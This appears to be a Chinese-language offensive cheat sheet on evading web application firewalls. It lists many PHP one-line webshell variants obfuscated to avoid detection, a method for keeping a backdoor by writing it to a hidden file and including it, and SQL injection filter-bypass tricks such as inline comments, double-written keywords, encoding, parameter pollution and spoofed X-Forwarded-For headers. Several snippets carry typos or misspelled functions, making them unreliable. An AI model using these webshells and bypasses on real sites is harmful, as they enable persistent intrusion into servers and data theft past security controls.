WebShell-ByPass
php一句话木马
<?php eval($_REQUEST['a']]);?>
拦截进行替换
- 替换eval()
assert()
- 替换$_REQUEST['a']
写$_REQUEST无报错,加上 '[]' 后报错
利用end()绕过,end()函数的意义:输出数组中当前元素和最后一个元素的值
<?php
eval(end($_REQUEST));
?>
当用菜刀连接时,无需密码
通过常量的定义
<?php
define("a", "$_REQUEST[2]");
eval(a);
?>
字符串拼接
<?php
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$d = 'c';
@$$d($_REQUEST['a']]);
?>
定义函数强行分割
<?php
function a($a){
return $a;
}
function b($b){
return eval($b);
}
b(a($_REQUEST)['a']);
?>
定义类强行分割
<?php
class User{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user -> name = "._REQUEST[1]";
?>
多方式传参免杀
<?php
$COOKIE = $_COOKIE;
foreach($COOKIE as $key => $value){
if($key == 'assert'){
$key($_REQUEST[1]);
}
}
?>
返回所有函数进行绕过
<?php
$a = get_define_function(); // 返回所有已定义函数的数组【是一个二维数组】
$a[internal][841]($_REQUEST[1]); // 利用internal里面的第841个值【这个值就是assert,后面加个括号代表函数】
?>
绕过WAF的终极
但数据库中必须有一个字段的值是eval($_REQUEST[a])
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from info'))['info']);
// mysqli_fetch_assoc函数从结果集中取得一行作为关联数组(也就是会从结果中返回一行数据),执行连接database数据库并执行查询命令
// 来获取info表中的第一行info字段,并通过eval执行
?>
拿到WebShell后如何维持住权限
- 打开cmd命令行
输入
echo "<?php eval($_REQUEST[1]);?>" > /:1.txt
在新建一个1.php,写
<?php include('/:1.txt');?>
包含一句话木马绕过
替换绕过
union select 绕过
区别拦截哪个
union
select
union select
内联注释
union /*!select*/
union /*!版本号select*/
and 绕过
可以用&
进行替换
也可以URL编码一下
or 绕过
可以利用xor
、&
、^
、||
进行替换
空格 绕过
可以用%20
、%0a
、%09
、%a0
、%0b
、%0c
、%0d
、+
、()
、/**/
进行替换
= 绕过
可以用like
、regexp
、liker
、<>
、!=
进行替换
函数替换
用时百度
内联注释
MySql的注释方法
/**/
内联注释 —— 里面的东西可以执行
/*!*/
如:/*!版本号(10000-99999)*/
大小写绕过
and => And
双写绕过
只检验一次
selselectect
特殊字符绕过
%0a(换行)
union
/*!10044select*/
1,2,3 -- 123/*%oafrom admin#*/
反引号
有些函数加了`后会运行
sleep()、updatexml()、
?id=1 and sleep(5) // 被拦截
?id=1 and `sleep`(5)// 就不会被拦截
编码绕过
- URL编码
HEX编码
NATIVE编码
容器特性
Apache
参数污染
http://127.0.0.1?id=1&id=2
http://127.0.0.1?id=1/*&id=2*/
IIS
%分割
select
s%e%l%e%c%t
白名单(XFF)
管理员权限或者是127.0.0.1访问
缓冲区溢出
改成POST数据包
部分中间件-ByPass
常规绕WAF思路
错误的HTTP请求
类似文件上传的绕过,通过畸形的HTTP协议头绕过WAF检测
老版本的WAF可以通过加入:
Content-Encoding:deflate
就可以绕过WAF
通过Java类关键字
将关键字转换成Unicode或者Hex编码方式,Java程序自动解码,在一定程度上可以绕过WAF
使用未公开的漏洞利用链
部分WAF会将公开的漏洞利用链设置为黑名单,只能自行寻找